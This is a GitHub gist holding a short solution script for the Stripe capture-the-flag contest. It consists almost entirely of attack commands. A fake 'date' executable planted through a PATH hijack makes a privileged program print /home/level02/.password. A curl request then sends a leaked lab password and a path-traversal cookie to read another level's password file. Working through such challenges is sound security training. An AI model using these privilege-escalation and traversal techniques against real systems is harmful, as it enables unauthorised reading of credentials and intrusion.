Skip to content

Instantly share code, notes, and snippets.

@ungood
Created February 23, 2012 18:04
Show Gist options
  • Select an option

  • Save ungood/1894064 to your computer and use it in GitHub Desktop.

Select an option

Save ungood/1894064 to your computer and use it in GitHub Desktop.
stripe capture-the-flag
mkdir -p /tmp/ungood
cd -p /tmp/ungood
echo 'cat /home/level02/.password' > date
chmod a+x date
export PATH=/tmp/ungood:$PATH
/levels/level01
curl --anyauth --user level02:kxlVXUvzv --cookie user_details=../../home/level03/.password http://ctf.stri.pe/level02.php
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment